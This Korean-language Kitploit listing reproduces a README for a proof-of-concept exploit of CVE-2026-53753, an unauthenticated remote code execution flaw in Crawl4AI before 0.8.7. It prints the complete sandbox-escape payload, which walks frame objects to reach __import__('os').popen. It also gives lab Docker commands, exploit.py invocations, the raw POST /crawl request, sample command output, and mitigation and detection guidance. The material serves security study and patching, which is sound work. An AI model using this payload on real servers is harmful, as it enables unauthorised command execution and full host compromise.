Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-53753-Crawl4AI-RCE — CVE-2026-53753 — Crawl4AI <0.8.7 인증되지 않은 RCE (AST sandbox escape를 통한 gi_frame.f_back). Lab + PoC, verified e2e. | Kitploit
도구/GitHubGitHub/biitts/cve-2026-53753-crawl4ai-rce
Static AnalysisDynamic Analysis (Sandboxing)Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Labs & Practice
GitHubbiitts/cve-2026-53753-crawl4ai-rce

CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 인증되지 않은 RCE (AST sandbox escape를 통한 gi_frame.f_back). Lab + PoC, verified e2e.

저장소 보기
1개월 전아직 검토되지 않음

CVE-2026-53753 — Crawl4AI 인증 우회 원격 코드 실행 (AST 샌드박스 이스케이프)

사전 인증 RCE (원격 코드 실행) **Crawl4AI < 0.8.7**에서 발생. 조작된 JsonCssExtractionStrategy 스키마가 인증되지 않은 POST /crawl 엔드포인트로 전송되면 computed-fields 평가기(_safe_eval_expression)에 도달하여, Python 프레임 객체를 통해 AST 허용 목록을 이스케이프하고 실제 builtins에 접근한 후, __import__('os').popen(<cmd>).read()를 실행하여 명령어의 출력을 대역 내(in-band)로 JSON 응답에 반환합니다.

CVECVE-2026-53753
AdvisoryGHSA-qxjp-w3pj-48m7
영향받는 버전Crawl4AI <= 0.8.6
수정 버전0.8.7
분류CWE-94 (코드 인젝션) / 파이썬 샌드박스 이스케이프
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
인증없음 — 배포 구성에서 jwt_enabled: false
상태확인됨 — 공식 unclecode/crawl4ai:0.8.6 이미지에 대해 종단간 재현 완료

목차

  1. 근본 원인
  2. 페이로드 구조 분석 (라인별)
  3. 프레임 탐색이 실제 builtins에 도달하는 이유
  4. 실습 환경 구성
  5. 익스플로잇 실행
  6. 예상 출력
  7. 원시 HTTP 요청
  8. 문제 해결
  9. 영향 / 완화 / 탐지
  10. 검증

심층 분석: ANALYSIS.md에서 노드별 AST 분석, 런타임 프레임 스택, 요청 데이터 흐름, 패치 diff를 확인하세요.


1. 근본 원인

crawl4ai/extraction_strategy.py는 추출 스키마에서 계산된 필드(computed fields)를 정의할 수 있도록 합니다. 이는 추출된 항목당 평가되는 작은 파이썬 표현식입니다. 이들은 _safe_eval_expression()에 의해 실행되며, AST 허용 목록과 제거된 __builtins__를 사용하여 표현식을 샌드박싱하려고 시도합니다:

root@kitploit:~
# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # 언더바 속성 접근 차단, 예: __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # __import__ 없음, eval 없음, open 없음
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

검증기는 접두사 차단(deny-by-prefix) 방식입니다. 즉, _로 시작하는 이름만 거부합니다 (그리고 import). 이 하나의 휴리스틱이 전체 샌드박스이며, 다음의 세 가지 구멍이 결합되어 완전한 이스케이프를 가능하게 합니다:

이 스키마는 인증 없이 이 함수에 도달합니다. Docker API는 security.jwt_enabled: false로 제공되므로, /crawl 토큰 의존성은 lambda: None입니다.

2. 페이로드 구조 분석 (라인별)

계산된 필드 표현식은 다음과 같습니다:

root@kitploit:~
(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/HEAD/%27os%27).popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

부분별로 살펴보면:

제너레이터의 값이 os.popen(cmd).read()이므로 명령어의 표준 출력이 필드 값이 되어 /crawl 응답에 반영됩니다. 이는 대역 내 오라클(in-band oracle)로, OAST가 필요 없습니다.

3. 프레임 탐색이 실제 builtins에 도달하는 이유

list(g)가 제너레이터를 순회하는 동안 호출 스택은 다음과 같습니다:

root@kitploit:~
frame: _safe_eval_expression()      <-- 실제 builtins  (__import__가 여기 있음)   ← f_back ×3
   └ frame: <expression> (eval)     <-- 샌드박스 처리된 builtins (_SAFE_EVAL_BUILTINS)  ← f_back ×2
        └ frame: <lambda>           <-- 샌드박스 처리됨                                 ← f_back ×1
             └ frame: <genexpr> g   <-- 실행 중; g.gi_frame은 이 프레임         ← gi_frame

g.gi_frame.f_back는 제너레이터가 실행 중일 때만 채워집니다 (그래서 제너레이터가 자기 자신을 참조하고 list(g)로 구동되어야 하는 이유입니다. 아직 시작되지 않은 제너레이터는 f_back is None입니다). f_back을 세 번 거치면 _safe_eval_expression 프레임에 도달하며, 이 프레임의 f_builtins는 전체 builtins 모듈입니다. 여기서 서브스크립트를 통해 __import__를 가져옵니다.

이 코드 경로에서 프레임 깊이는 안정적입니다. Crawl4AI 0.8.6의 _safe_eval_expression에 대해 **f_back × 3**이 정확합니다.

4. 실습 환경 구성

공식 이미지는 취약한 기본 설정(인증 없음)을 제공합니다:

root@kitploit:~
# 옵션 A — docker compose (일반 Docker 호스트, 브리지 네트워킹)
docker compose -f lab/docker-compose.yml up -d

# 옵션 B — 일반 docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

브라우저 풀이 준비될 때까지 약 20초 기다립니다 (docker logs crawl4ai-vuln → Application startup complete).

5. 익스플로잇 실행

root@kitploit:~
# 요청 본문을 보내지 않고 검사:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload

# 실행 (명령어 표준 출력이 응답에 포함되어 반환됨):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"

exploit.py는 파이썬 표준 라이브러리만 사용합니다 — 별도 종속성 없음.

6. 예상 출력

root@kitploit:~
[*] POST http://127.0.0.1:11235/crawl  (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
    {
        \"out\": [
            \"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
        ]
    }
]" ...

out 필드는 실시간 OS 상태입니다 (id 출력, uname, 컨테이너의 os-release). 요청의 에코가 아닌, uid=999(appuser)는 컨테이너의 서비스 계정으로, Crawl4AI 호스트 내부에서 코드 실행이 이루어졌음을 증명합니다. 고유한 echo <marker>가 그대로 반영되어 명령어가 실제로 실행되었음을 확인합니다.

7. 원시 HTTP 요청

root@kitploit:~
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json

{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
 "crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
 {"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
 "fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
  • raw://…는 요청을 자체 포함형으로 만듭니다 — 아웃바운드 가져오기가 필요 없으며, 공격자가 HTML을 인라인으로 제공합니다.
  • baseSelector: "div"는 단순히 요소와 일치하여 계산된 필드가 평가되도록 하면 됩니다. 실제 크롤 대상에 대해서는 페이지와 일치하는 선택자를 사용하십시오.

8. 문제 해결

9. 영향

네트워크에 연결 가능한 모든 클라이언트는 기본 배포에서 Crawl4AI 호스트에 인증 없이 임의의 OS 명령어를 실행할 수 있습니다. 이는 서버의 완전한 손상과 서버가 접근 가능한 모든 내부 리소스로의 피벗을 의미합니다.

완화

  • Crawl4AI ≥ 0.8.7로 업그레이드하세요. (_safe_eval_expression이 제거됨. expression 계산된 필드 키는 비활성화됨 — 대신 검증된 파이썬 호출 가능 객체와 함께 function 키를 사용하세요.)
  • 방어 심층화: JWT (jwt_enabled: true + api_token)를 활성화하고 Crawl4AI API를 신뢰할 수 없는 네트워크에 절대 노출하지 마세요.

탐지

POST /crawl (및 /crawl/stream) 본문에서 gi_frame, f_back, f_builtins 또는 expression 키를 포함하는 computed 필드를 플래그 처리하세요.

공개 / 크레딧

  • PoC 작성자: Caio Fabrício — github.com/BiiTts
  • 취약점 크레딧은 원래 CVE/어드바이저리 보고자에게 있습니다. 이 저장소는 방어 및 교육 목적의 독립적인 재현입니다.
  • 공인된 보안 테스트 목적으로만 사용하세요.
도구 다운로드
#구멍중요한 이유
1gi_frame, f_back, f_builtins는 _로 시작하지 않음전체 파이썬 프레임/제너레이터 내부 표면에 접근 가능
2obj['__import__']는 ast.Subscript로서 ast.Attribute가 아님검증기는 dict 서브스크립트 키를 검사하지 않으므로 던더 키 __import__가 통과
3실행 중인 제너레이터의 f_back 체인은 외부 프레임으로 연결되며, 해당 프레임의 f_builtins는 실제 builtins제거된 _SAFE_EVAL_BUILTINS에서 전체 builtins(__import__ 등)로 이스케이프
조각역할검증기가 허용하는 이유
(lambda: ... )()함수 스코프를 생성하여 왈러스로 바인딩된 이름이 클로저 셀에 존재하게 함ast.Lambda는 검사되지 않음
g := ( <expr> for i in [1])제너레이터를 g에 바인딩하고, 제너레이터 본문이 g(자기 자신)를 참조:=와 제너레이터 표현식은 검사되지 않음 (왈러스는 컴프리헨션 iterable 내에서는 불법이므로 튜플 요소에 배치)
list(g)제너레이터를 구동하여 본문 실행 시 프레임이 활성 상태가 되도록 함list는 안전한 builtins에 포함됨
g.gi_frame제너레이터의 프레임 객체gi_frame은 _로 시작하지 않음
.f_back.f_back.f_back상위 세 프레임으로 올라가 실제 builtins가 있는 프레임에 도달f_back은 _로 시작하지 않음
.f_builtins해당 프레임의 builtins 매핑 (실제)f_builtins는 _로 시작하지 않음
['__import__']builtins 딕셔너리에서 __import__를 가져옴딕셔너리 서브스크립트 — 절대 검사되지 않음
('os')__import__('os') → os 모듈호출 대상은 Subscript이므로 Name/Attribute가 아님
.popen('id').read()명령어를 실행하고 표준 출력을 반환popen/read는 _로 시작하지 않음
증상원인 / 해결 방법
:11235에서 Connection refused컨테이너가 아직 준비 중이거나 Docker 데몬에 사용 가능한 bridge 네트워크가 없습니다. Application startup complete가 표시될 때까지 기다리세요. 포트 매핑이 바인딩되지 않으면 --network host로 컨테이너를 실행하세요.
out이 null기본 선택자가 요소와 일치하지 않았습니다. raw:// HTML에 <div>가 포함되어 있는지 확인하거나 baseSelector를 조정하세요.
0.8.6에서 작동하지만 0.8.7에서 작동하지 않음예상된 현상입니다. 0.8.7은 _safe_eval_expression을 제거하고 expression 키 자체를 비활성화합니다 (수정 사항).